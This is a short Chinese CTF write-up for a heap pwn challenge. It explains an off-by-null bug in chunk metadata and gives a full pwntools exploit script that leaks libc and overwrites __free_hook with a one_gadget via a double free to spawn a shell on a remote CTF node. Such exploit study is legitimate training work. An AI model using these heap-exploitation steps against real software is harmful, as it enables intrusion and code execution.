存在off-by-null漏洞，所以可以修改下一chunk的inuse位和pre_size位。修改pre_size位前面堆块大小之和，然后当释放此堆块时由于inuse位是0，所以会判断前面chunk处于释放状态，再根据pre_size向前合并。就会将一个处于malloc状态的chunk带入到unsortedbin中。

EXP

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from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
    p = process('./pwn')
    elf = ELF('./pwn')
    # p = process('', env={'LD_PRELOAD':'./libc.so'})
    # gdb.attach(p)
else:
    p = remote('node5.anna.nssctf.cn', 28201)
    elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.27.so')
def add(size,data):
    rl("Your choice: ")
    sl('1')
    rl("Size")
    sl(str(size))
    rl("Data:")
    sl(data)
def show(index):
    rl("Your choice: ")
    sl('2')
    rl("Index:")
    sl(str(index))
def delete(index):
    rl("Your choice: ")
    sl('3')
    rl("Index:")
    sl(str(index))

# gdb.attach(p)

add(0xf0,'a')
add(0x68,'a')
add(0xf0,'a')
for i in range(7):
    add(0xf0,'a')
for i in range(7)://填满tcache，便于堆块合并
    delete(i+3)

delete(0)
delete(1)

add(0x68,'a'*0x68)
delete(0)
add(0x68,'a'*0x60+p64(0x170))

delete(2)
for i in range(7):
    add(0xf0,'a')

add(0xf0,'a')
show(0)

libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3ebc40-0x60
lg("libc_base",libc_base)
onegadget = [0x4f2a5,0x4f302,0x10a2fc]
free_hook = libc_base+libc.sym['__free_hook']

for i in range(7):
    delete(i+2)

add(0x30,'aa')
delete(0)//再利用double_free
delete(2)

add(0x30,p64(free_hook))

add(0x30,'aaa')
add(0x30,p64(libc_base+onegadget[1]))
delete(0)


inter()